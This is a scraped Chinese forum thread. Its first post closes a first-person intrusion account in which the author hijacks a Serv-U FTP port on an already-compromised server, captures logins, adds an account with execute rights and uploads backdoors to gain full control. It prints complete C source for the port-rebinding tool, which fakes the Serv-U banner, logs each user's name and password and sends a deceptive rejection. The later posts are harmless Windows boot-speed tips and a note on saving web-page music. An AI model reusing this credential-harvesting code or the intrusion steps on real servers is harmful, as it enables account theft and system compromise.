写到这里,剩下的问题就是写出那个程序了,那不算是什么困难的程序,因为各个部分的东西都曾经写过,所以写出来后测试了一下就能投入工作了.程序在那系统中运行了,我就打开了msn等着接信了.大约是半天时间左右吧,就得到了想要的帐号和密码了. 有了这个帐号,我就能登陆进那个serv-u中修改serv-u的配置,加个有执行权限的帐号,然后用这个新加的帐号就能上传任何后门或者其它东西上去那系统中运行了.到了这里,系统的最高权限已经到手了.

结语:
能够成功得到最高权限,这是由两个"缺陷"所造成的.
1.serv-u本身打开的端口允许重绑入(说是缺陷其实有点过份,因为serv-u的设计者没有想到你的系统会被人入侵到的).我也发信到serv-u中说明了一下这问题,希望serv-u新的版本打开的端口不允许被其它程序所重绑(其实只是多加一行代码就行了)
2.user权限下也可以重绑入其它以服务身份(local system)启动的程序的端口(说是缺陷也是有点过份) .
3.其它的ftp服务程序也有可能存在这个被重绑端口后登录者的帐号和密码被窃取的问题存在,而且其它的应用程序如果端口允许被重绑的话,也存在这种问题,只是视乎传输的信息是否明文还是被强度的算法加密过而已.端口被重绑后产生的问题是存在已久的了,所以我不会说是我发现的,这个文章也只是随便举了一个由于端口被重绑后产生的严重后果的例子罢了.

后面所跟的程序代码,我是去掉了将帐号和密码发送到邮箱的功能的,只是将信息保存到LogFile.Dat这文件中去,这是由于这类代码不会有什么人是利用来做好事的,所以在线通知也就删除了比较好.

Codz:
//****************************************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Hijack FTP Severs Open Port And Steal The Connectors UserName And Pass
// Test PlatForm: Win 2K Pro And Server SP4,Serv-U V4.1
// Compiled On: VC++ 6.0
// Others: This Code Is Only To Demonstrate The Danger Of An Application Allowing Its
// Communication Port To Be Re-Binded(Hijack In Other Word).
// If Your Box Is In A Lan,Dont Test It On Your Only Box Since It May Not Work
//****************************************************************************************
#include <stdio.h>
#include <winsock.h>
#include <windows.h>

#pragma comment(lib,"wsock32.lib")

SOCKET ListenSocket = INVALID_SOCKET;
static CRITICAL_SECTION cs;
const char *LogFile = "C:\Documents and Settings\All Users\Documents\LogFile.Dat";

// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL StartHijack(const char *IPToBind,const char *Port);
BOOL IsDigits(const char *String);
BOOL InitSocket();
BOOL CreateSocket(const char *IPToBind,const UINT ListenPort);
BOOL HandleFTPRequest();
BOOL SaveInfo(const char *FileName,const char *Info);
BOOL SendSocket(const SOCKET ClientSocket,const char *Message);
BOOL ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize);
DWORD WINAPI FTPThread(LPVOID Para);
BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket);
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration

int main(int argc,char *argv[])
{
if (argc != 3) // Not Enough Parameters
{
// Show The Usage And Example,Then Exit The Program
printf("Usage: %s BindedIP ListenPort\n",argv[0]);
printf("Example: %s 192.168.0.1 21\n",argv[0]);
return 0;
}

InitializeCriticalSection(&cs);
StartHijack(argv[1],argv[2]); // We Are About to Hijack The Port
DeleteCriticalSection(&cs);
return 0;
}

//--------------------------------------------------------------------------------------------
// Purpose: To Create A Listening Socket
// Return Type: BOOLEAN
// Parameters:
// In: char UINT ListenPort --> The Listening Port
//--------------------------------------------------------------------------------------------
BOOL CreateSocket(const char *IPToBind,const UINT ListenPort)
{
struct sockaddr_in Client;

ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Create Socket

if (ListenSocket == INVALID_SOCKET) // Fail To Create Socket
{
printf("Fail To Create Socket\n");
return FALSE;
}

memset(&Client, 0, sizeof(Client));
Client.sin_family = AF_INET;
Client.sin_port = htons(ListenPort);
Client.sin_addr.s_addr = inet_addr(IPToBind);

// Set Socket Option To Hijack The Port(Re-Bind Or Re-Use In Other word)
BOOL bReUser = TRUE;
if (setsockopt(ListenSocket,SOL_SOCKET,SO_REUSEADDR,(char *)&bReUser,sizeof(bReUser)) != 0)
{
closesocket(ListenSocket);
printf("Fail To Hijack The Port\n");
return FALSE;
}

// Bind Socket
if (bind(ListenSocket,(const struct sockaddr *)&Client,sizeof(Client)) == INVALID_SOCKET)
{
closesocket(ListenSocket);
printf("Fail To Bind Port\n");
return FALSE;
}

// Listen On The Port
if (listen(ListenSocket,5) == INVALID_SOCKET)
{
closesocket(ListenSocket);
return FALSE;
}

return TRUE;
}// End Of CreateSocket()


//--------------------------------------------------------------------------------------------
// Purpose: To Check The Parameters And Start To Hijack
// Return Type: BOOLEAN
// Parameters:
// In: const char *Port --> The Listening Port
//--------------------------------------------------------------------------------------------
BOOL StartHijack(const char *IPToBind,const char *Port)
{
if (!InitSocket()) // Init Socket
{
printf("Fail To Init Socket\n");
return FALSE;
}
if (!IsDigits(Port)) // Check Whether Its Invalid Port
{
printf("Invalid Listen Port\n");
return FALSE;
}

UINT ListenPort = atoi(Port); // Get The Port
if (ListenPort <= 0 || ListenPort > 65535)
{
printf("The Listen Port Is Out Of Bound\n");
return FALSE;
}

if (!CreateSocket(IPToBind,ListenPort)) // Create A TCP Listening Socket
{
printf("Fail To Create Socket\n");
&nnbsp; return FALSE;
}

return HandleFTPRequest();
}// End Of StartHijack()

// No Need To Comment
BOOL InitSocket()
{
WSADATA data;
WORD ver;

ver = MAKEWORD(2,2);
return (WSAStartup(ver, &data) == 0);
}// End Of InitSocket()

//--------------------------------------------------------------------------------------------
// Purpose: To Send Buffer Through Socket
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Client Connected Socket
//--------------------------------------------------------------------------------------------
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0) != SOCKET_ERROR);
}// End Of SendSocket()

//--------------------------------------------------------------------------------------------
// Purpose: To Send FTP Banner To The Client
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Client Connected Socket
//--------------------------------------------------------------------------------------------
BOOL SendFTPBanner(const SOCKET ClientSocket)
{
char *SendWelcomeInfo = "220 Serv-U FTP Server v4.1 for WinSock ready...\r\n";
return SendSocket(ClientSocket,SendWelcomeInfo);
}// End Of SendFTPBanner()

//--------------------------------------------------------------------------------------------
// Purpose: To Receive Buffer From Socket
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Client Connected Socket
// In: const int nSize --> The SocketBuffers Size
// Out: char *SocketBuffer --> Buffer To Receive Data
//--------------------------------------------------------------------------------------------
BOOL ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize)
{
return (recv(ClientSocket,SocketBuffer,nSize,0) > 0);
}// End Of ReceiveSocketBuffer()

//--------------------------------------------------------------------------------------------
// Purpose: To Check Whether A String Only Contains Digits
// Return Type: BOOLEAN
// Parameters:
// In: const char *String --> The String To Be Checked
//--------------------------------------------------------------------------------------------
BOOL IsDigits(const char *String)
{
UINT i = 0;
UINT StringLength = strlen(String);

for (i = 0;i < StringLength;i++)
{
if (String < 48 || String > 57)
{
return FALSE;
}
}
return TRUE;
}// End Of IsDigits()

//--------------------------------------------------------------------------------------------
// Purpose: To Save Information Into A File
// Return Type: BOOLEAN
// Parameters:
// In: const char *FileName --> File To Store Information
// In: const char *Info --> Information To Be Stored Into File
//--------------------------------------------------------------------------------------------
BOOL SaveInfo(const char *FileName,const char *Info)
{
HANDLE hFile = NULL;
DWORD dwBytes = 0 ;
BOOL Flag = FALSE;

// Open A File For Writing
hFile = CreateFile(FileName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);

if (hFile == INVALID_HANDLE_VALUE) // Fail To Open That File,Something Must Be Wrong
{
return FALSE;
}
SetFilePointer(hFile,0,NULL,FILE_END); // Set The File Pointer To The File End
Flag = WriteFile(hFile,Info,strlen(Info),&dwBytes,NULL); // Write Information Into That File
CloseHandle(hFile); // Close File Handle
return Flag; // Return The WriteFile Status
}// End Of SaveInfo()

//--------------------------------------------------------------------------------------------
// Purpose: To Remove An Ending Enter From A String
// Return Type: BOOLEAN
// Parameters:
// In: char *String --> String To Be Modified
//--------------------------------------------------------------------------------------------
BOOL DeleteEnter(char *String)
{
UINT Length = strlen(String);
if (String[Length - 2] == \r || String[Length - 2] == \n)
{
String[Length - 2] = ;
}
else
{
if (String[Length - 1] == \r || String[Length - 1] == \n)
{
String[Length - 1] = ;
}
}
return TRUE;
}// End Of DeleteEnter()

//--------------------------------------------------------------------------------------------
// Purpose: To Handle FTP Request
// Return Type: BOOLEAN
// Parameters: NONE
//--------------------------------------------------------------------------------------------
BOOL HandleFTPRequest()
{
DWORD dwThreadID;
SOCKET AcceptSocket = INVALID_SOCKET;
SOCKET *CloneSocket = NULL;

while(TRUE)
{
SOCKADDR_IN client;
int nSize = sizeof(client);
AcceptSocket = accept(ListenSocket, (SOCKADDR *)&client, &nSize);

if (AcceptSocket == INVALID_SOCKET) // Something Is Wrong About The Socket
{
break; // Get To Leave
}

CloneSocket = (SOCKET *)malloc(sizeof(AcceptSocket)); // Allocate For Socket Ram
if (CloneSocket == NULL) // Not Enough Ram,Very Rare Situation
{
closesocket(AcceptSocket); // Close That Connection
continue;
}

*CloneSocket = AcceptSocket; // Make A Copy Of Accpet Socket
HANDLE hThread = CreateThread (NULL,0, (LPTHREAD_START_ROUTINE)FTPThread,CloneSocket,0, &dwThreadID); // Create A Thread
if (hThread != NULL)
{
CloseHandle(hThread);
}
}
closesocket(ListenSocket);
return TRUE;
}// End Of HandleFPRequest()

//--------------------------------------------------------------------------------------------
// Purpose: To Steal The FTP UserName And Password
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Connectors Socket
//--------------------------------------------------------------------------------------------
BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket)
{
const char *UserOK = "331 User name okay, need password.\r\n";
char Buffer[MAX_PATH];

memset(Buffer,0,sizeof(Buffer));

if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer))) // Fail To Receive UserName
{
return FALSE;
}

if (strnicmp(Buffer,"USER", 4) == 0) // We Get The UserName, Store It Into File
{
EnterCriticalSection(&cs);
SaveInfo(LogFile,"---------------------------------------------------------------------------\r\n");
SaveInfo(LogFile,Buffer);
LeaveCriticalSection(&cs);
}
else // Unknows Command Received
{
return FALSE;
}

if (!SendSocket(ClientSocket,UserOK)) // Fail To Send Information
{
return FALSE;
}

memset(Buffer,0,MAX_PATH);
if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer))) // Fail To Receive Password
{
return FALSE;
}

if (strnicmp(Buffer,"PASS", 4) == 0) // We Get The Password, Store It Into File
{
EnterCriticalSection(&cs);
SaveInfo(LogFile,Buffer);
SaveInfo(LogFile,"---------------------------------------------------------------------------\r\n\r\n");
LeaveCriticalSection(&cs);
}
else // Unknows Command Received
{
return FALSE;
}
return TRUE;
}// End Of RetrieveFTPUserAndPass()

//--------------------------------------------------------------------------------------------
// Purpose: To Handle The Connectors Request
// Return Type: DWORD
// Parameters:
// In: LPVOID Para --> The Connectors Socket
//--------------------------------------------------------------------------------------------
DWORD WINAPI FTPThread(LPVOID Para)
{
SOCKET ClientSocket = (*(SOCKET *)Para); // Retrieve The Socket
free(Para); // Free The Allocated Ram

if (!SendFTPBanner(ClientSocket)) // Fail To Send FTP Banner
{
closesocket(ClientSocket); // Close The Connection
return 1;
}

RetrieveFTPUserAndPass(ClientSocket); // Get The Connectors UserName and Password
SendSocket(ClientSocket,"530 Not logged in, unauthorized IP address.\r\n"); // Cheat The Connector By Sending This
closesocket(ClientSocket); // Disconnect The Connector
return 0;
}// End Of FTPThread()
// End Of File
?>

TOP

让Windows操作系统的启动画面消失和加速启动

相信每位Windows用户对它的启动画面都不陌生——在Windows 98下是一片“蓝天白云”,在Windows XP中则酷了不少,不过还是一扇“破窗户”。虽然画面并不算太难看,不过如果你和我一样不想再看见它们,完全可以让它们在电脑启动的时候消失!
  
  1、禁用Windows 9x的启动画面
  
  由于要修改的文件是一个隐藏文件,所以先要进行一些设置:打开资源管理器,依次点击“查看/文件夹选项”菜单命令,切换到“查看”选项卡,选中“显示所有文件”即可。现在可以看到C盘根目录下的msdos.sys文件,它就是我们要修改的文件。用记事本打开它,在[Option]节下添加一行“Logo=0”,保存后退出即可。
  
  2、禁用Windows 2000/XP的启动画面
  
  在资源管理器窗口中依次点击“工具/文件夹选项”菜单命令,在弹出的对话框中切换到“查看”选项卡,选中“显示所有的文件和文件夹”,并将“隐藏受保护的操作系统文件(推荐)”前面的复选框清空,单击“确定”按钮退出。接着进入系统根目录(一般为C:\),用鼠标右键单击Boot.ini文件,选择“属性”,在“常规”选项卡中清空“只读”前的复选框。
  
  用“记事本”打开Boot.ini文件,然后在Windows 2000/XP操作系统所在那一行语句(如multi(0)disk(0)rdisk(0)partition(2)\WINDOWS="Microsoft Windows XP Professional" /fastdetect)后面加一个空格,再加上参数“/noguiboot”(不包括引号),最后保存并关闭Boot.ini文件,恢复其只读属性。
  
  如果你觉得上述方法过于麻烦,笔者这里还有一个比较简单的方法:点击“开始/运行”,在对话框中输入“Msconfig”打开“系统配置实用程序”,切换到“BOOT.INI”选项卡,在“启动选项”中选中“/NOGUIBOOT”确定即可。不过此技巧只适用于Windows XP,因为Windows 2000没有“系统配置实用程序”而无法使用。
  
  提示:如果你改了之后觉得不好又想再改回来也很容易,在Windows 9x中只要将“Logo=0”改回“Logo=1”或者直接删除即可;在Windows 2000/XP中只需将所加的参数去掉即可。


   Windows启动提速-------揪出拖慢启动的罪魁

   有时候Windows启动速度慢,其实不是他本身的原因,而是一些设备和软件造成的。下面介绍一些典型的案例。

   
   1:磁带机、USB硬盘、扫描仪等设备

  如果装有磁带备份机、扫描仪等设备,或在启动时已连接了USB硬盘,那么不妨试试把他们断开,看看启动速度是不是有变化,如果有,那么以后用时在打开他们,或进了Windows后再连接USB硬盘。
  由于USB接口速度较慢,所以相应设备会对Windows98/Me的启动速度有明显的影响(对Windows2000的影响较小),应该尽量在启动后再连接USB设备,如果没有USB设备,那么建议直接在BIOS设置中将USB功能关闭。
   小提示:
     保证光驱中没放置任何光盘,因为当Windows启动时,它会对各个驱动器进行检测,如果发现光盘,他将读取其中的内容,这会延长启动时间。
   
   2:令人烦恼的网卡

   (1)没用就把它请出去
   网卡也明显地影响系统的启动速度。如果你用不到它,一定要把它请出系统。Windows 9X/Me;右击“网上邻居”,选择“属性”,将绑定TCP/IP协议的网卡删除,关闭电脑,拆下网卡
,然后重启即可。 Windows 2000/XP;如果你的机器安装了网卡,而又不使用局域网,那么应该将它拆下,或进入“控制面板
-系统-设备管理器”,禁用网卡。同时还可以删除位于Windows/System/Network下的驱动程序。
   (2)必须用也得好好调教一番;系统安装完毕后,默认设置的自动获得IP地址。这项重任务由DHCP (Dynamic Host Configuration Prot
ocol 动态主机配置协议) 并没有设立DHCP服务器,那么如果设置了“自动获得IP地址”,系统在启动时就会不断在网络总搜索DHCP服务器,直到获得IP地址或超时,自然就影响了启动时间。因此最好指定固定IP地址。
    Windows 9X/Me:打开“网络”设置窗口,选择网卡,单击“属性”按钮,打开“TCP/IP属性”窗口,点击“指定IP地址”,在IP地址栏中填入IP地址。比如192.168.0.1,子网掩码为255.255.255.0。
    Windows 2000/XP:右击“网上邻居”并选择“属性”,后面的设置与在Windows 9X/Me中一致。
    小提示:Norton Internet Security 2002减缓XP启动
    假如你正在使用Norton Internet Security2002,并且受着Windows XP慢速启动的煎熬(可以看到桌面上的图标,但要等30-60秒钟才能开始使用电脑),那么也可以通过上面的方式来解决。
   
   3.文件和打印机共享

   另外,一些安装有Windows XP专业版的电脑也会出现启动非常慢的问题,甚至达到了1分4秒之多!系统似乎死机了,登录系统后,桌面也不出现,电脑就像停止反应1分钟后才能正常使用。这是由于使用了Bootvis.exe程
序其中的mrxsmb。dll文件为电脑的启动添加了67秒的时间!要解决这个问题,只要停止共享文件夹和打印机即可选择“开始设置-网络和拨号连接”,再右击“本地连
接”选择“属性”。在打开的敞口中取消“此连接使用下列选定的组件”下的“Microsoft网络的文件和打印机共享”复选框,重启电脑。以后,要使用共享文件夹和打印机,只要重复上述步骤,再选中“Microsoft 网络的文件和打印机共享”复
选框即可。
   小提示:微软已经对Bootvis.ese进行了多次升级,而且它确实队对Windows XP的启动速度有很大帮助,建议到http://www.microsoft.com/hwdev/platform/performance/fastboot/default.asp下载该工具。
   
   4.断开映射的网络驱动器
   为了消除或减少Windows必须重新建立的网络连接数目,建议将一些不需要使用的网络驱动器断开,也就是进入“我的电脑”,右击影射的网络驱动器,选择“断开”即可。
  
   5.硬盘分区太多也是错,如果你的Windows 2000没有升级到SP3或SP4,并且定义了太多的分区,那么也会使启动变得很漫长,甚至挂起。所以建议升级最新的SP4,同时最好不要分太多的分区,因为Windows在启动时必须装载每个分区,随着分区数目的增多,完成此操作的时间总量也不断增长。
   
   6.桌面图标太多了,如果桌面上有太多图标也会降低系统启动速度。Windows每次启动并显示桌面时,都需要查找桌面快界方式的图标并加载它们,图标越多,所花费时间也就越多。总之桌面上的快捷方式不要放得太多,一两个图标对速度是不
会影响太大的,多了影响就很明显了。
   小提示:有些杀毒软件提供了启动扫描的功能,但这将会耗费非常多的时间,其实如果你随时开着杀毒软件的即时监视功能,那么启动时扫描就显得有些多余了,还是把它禁掉吧。
   
   7.字体不能过多,尽管微软声称Windows可安装1000-1500种字体。但我们却发现当所安装的字体超过500种以上后,就会出现问题,比如,字体从应用程序的字体列表消失、Windows的启动速度大幅度的下降,因此最好将用不到的字体删掉。
   
   8.微软也会内讧,还记得Windows XP的某个补丁造成系统启动变慢的新闻吧(比如:代号为Q328210的补丁就会造成Windows 2000/XP启动和关机速度变慢,甚至造成了注册表锁死),所以微软自己出问题的可能性也不小,如果你在升级了某个系统
补丁后,突然发现启动变慢,那么最好留意一下是不是补丁惹的祸。
   
   小提示:Roxio Easy CD Creator 5.0
    当你在Windows 2000(装了SP1)中安装了Roxio Easy CD Creator 5.0后,有可能系统会出现带有错误信息的蓝屏,接着锁死,或启动速度非常慢。如果不幸遇到此问题,请访问http://www.roxio.com/进行软件升级或修补。
   小资料:优化的MSDOS.SYS语句,在Windows 98/Me中MSDOS.SYS是系统初始化配置文件,所以它对系统启动速度影响很大,下面是我们总结的几段语句,根据它修改你的MSDOS.SYS文件,将会有效减少系统启动时间。
    [Option]
    DoubleBuffer=0
    DBLSpace=0
    DRVSpace=0
    BootGUI=0
    Logo=0
    BootKeys=0
    BootMenu=0
    BootWarn=0
    BootMulti=0

   加速启动的奇招酷技

   1.被你忽视的磁盘IDE通道
   Windows XP中有一个非常影响启动速度的设置,那就是磁盘IDE驱动或补丁,ULTRA DMA功能就已经打开了,可以说绝大多数的人会让IDE通道处于完全自动状态。就是这点,导致了XP启动速度极慢——因为主板可以连接四个IDE设备,
多数人都只有两个IDE设备,即光驱和硬盘,少数人可能有双光驱(DVD或刻录机),一个硬盘或双硬盘,一个光驱,也才三个IDE设备,一般都有一个到两个IDE通道是处于空闲自动状态。此时,你应该把并不存在的IDE设备,设置为“无”,
而不是“自动检测”。这样,下次启动Windows XP,你会发现速度飞快。
   小提示清扫磁盘:提高速度。建议每个月执行一次磁盘碎片整理程序,没两个月执行一次磁盘扫描程序。如果经常移动和删除文件,应该每月运
行两次碎片整理程序,这样才能保证系统以最佳的速度工作。
   2.服务和Power User
   Windows 2000/XP的启动速度要比Windows 9X/Me慢,众多的服务是重要因素之一,因此禁用一些没用的服务肯定对启动速度有帮助,比如:
   alerter  (不在局域网并且不需要管理报警)
   clipbook (不需要查看远程剪贴薄的剪贴页面)
   distributed link tracking client(不需要同时处理多个数据库或文件系统)
   fax service   (不需要发送或接收传真)
   ftp publishing service  (你的电脑不做为FTP服务器使用)
   iis admin service   (你的电脑不作为Web服务器使用)
   另外,建议你创建一个Power User用户,平时用它来登陆系统,因为相比管理员身份,它启动的服务更少,同时也更安全。
   3.及时清理日志文件
   Windows 2000/XP的日志文件比较容易忽视。其实,当每次开关机、运行程序、系统报错时,这些信息都会被记录下来,保存在日志文件中。而日志文件会随着时间的增长而越集越多,从而影响系统速度。
   进入“开始—设置—控制面板—管理工具”,双击“事件查看器”,这里可以看到应用程序日志、安全日志、系统日志。在任意一种日志上面右击并选择“属性”,就可以为日志设定最大值,并且选择当日志满了以后处理方式——一般来说让它
自动覆盖一段时间的旧日志,这样日志就永远不会超出指定大小。
   4.借用Windows XP的启动文件
   Windows XP相比Windows 2000,在启动方面进行优化,速度更快,那么能不能让Windows 2000也可以享受这样的好处呢?其实只要找到Windows XP相应语言版本的相应文件,然后替换Windows 2000的文件即可。这两个文件为:NTLDR、NTDETECT.COM。
它们都在系统分区的根目录,为防万一,建议在替换前备份原文件。
   5.蓝色滚动条只滚动一圈
   这是一个适用于Windows XP的秘籍,打开“注册表编辑器”,找到[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session\Manager\Memorymanagement\Prefetch Parameters],在右侧窗格双击EnablePrefetcher,将其值由3改为1或5。
重新启动看看,是不是开机画面蓝色滚动条的滚动时间减少了?
   小提示不要看开机画面
    以前在Windows 98/Me中,我们可以在出现开机画面时按下Esc键来取消它,而Windows 2000/XP则要打开BOOT.INI文件,在multi(0)disk(0)partition(1)\WINNT="Microsoft Windows 2000 Professional"/fastdetect语句后再加上/NOGUIBOOT,也就是
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Professional"/fastdetect/NOGUIBOOT,这样开机画面就消失了,启动速度也会有轻微提升。
   6.对Windows XP进行启动优化
   Windows XP有一个不错的新功能,那就是可以在启动时进行磁盘碎片整理,使那些启动所必须的文件能相邻排列,从而令下次的启动速度更快。如果你的Windows XP 中没有打开此功能,可打开“注册表编辑器”,找到[HKEY_LOCAL_MACHINE\SOFTWARE\Mi
crosoft\Dfrg\BootOptimizeFunction],在右侧窗格右击Enable值,在弹出的菜单中选择“修改”,然后将值改为Y(打开)(N为关闭)。修改完毕后关闭“注册表编辑器”,

TOP

如何保存网页的背景音乐

打开下载图片的网页,点击IE浏览器的文件菜单,选择“另存为”命令。在弹出的另存为窗口中设置好保存的路径、文件名以及保存类型。保存类型应该选择默认的“Web页,全部”。保存完毕之后就可以打开同文件名的Files文件夹,这里面都是保存下来网页的素材,当然包括你要的图片或网页背景音乐。接下来就可以用Windows的预览功能找到想要的图片或者网页背景音乐复制保存它。

TOP

发新话题